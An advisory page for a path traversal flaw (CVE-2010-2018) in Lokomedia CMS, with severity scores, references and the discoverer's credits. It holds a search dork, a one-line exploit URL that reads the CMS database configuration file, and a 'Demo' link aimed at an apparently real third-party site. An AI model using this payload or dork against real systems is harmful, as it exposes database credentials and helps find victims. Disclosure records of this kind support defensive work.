Lokomedia CMS (sukaCMS) Local File Disclosure Vulnerability

2010-05-26 / 2010-05-27

Credit: vir0e5 a.k.a banditc0de

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2010-2018

CWE: CWE-22

CVSS Base Score: 5/10

Impact Subscore: 2.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: None

Availability impact: None

[+] Title : Local File Disclosure Vulnerability Lokomedia CMS (sukaCMS)

[+] Vendor     : http://bukulokomedia.com

[+] Discovered : vir0e5 a.k.a banditc0de

[+] Contact    : vir0e5[at]hackermail[dot]com

[+] Site       : http://vir0e5.blogspot.com

[+] DorK       : inurl:/downlot.php?file=
 
[+] Exploit    : http://[host]/[dir]/downlot.php?file=../config/koneksi.php

[+] Demo       : http://pulsaselluler.com/downlot.php?file=../config/koneksi.php
 
[+] Greetings  :[ mywisdom - kiddies - kamtiez - r3m1ck - Aoc - skuteng_boy  - blue_screen - 
                  agdi_cool - dangercode14045 - dewancc and YOU!!!! ] ;

[+] Forum [as member] : http://indonesian-cyber.org | http://tecon-crew.org | http://u3dcrew.darkbb.com | http://devilzc0de.org

References:

http://xforce.iss.net/xforce/xfdb/58670

http://www.exploit-db.com/exploits/12651

http://secunia.com/advisories/39863

http://packetstormsecurity.org/1005-exploits/lokomediacms-disclose.txt

http://osvdb.org/64747

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Lokomedia CMS (sukaCMS) Local File Disclosure Vulnerability

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.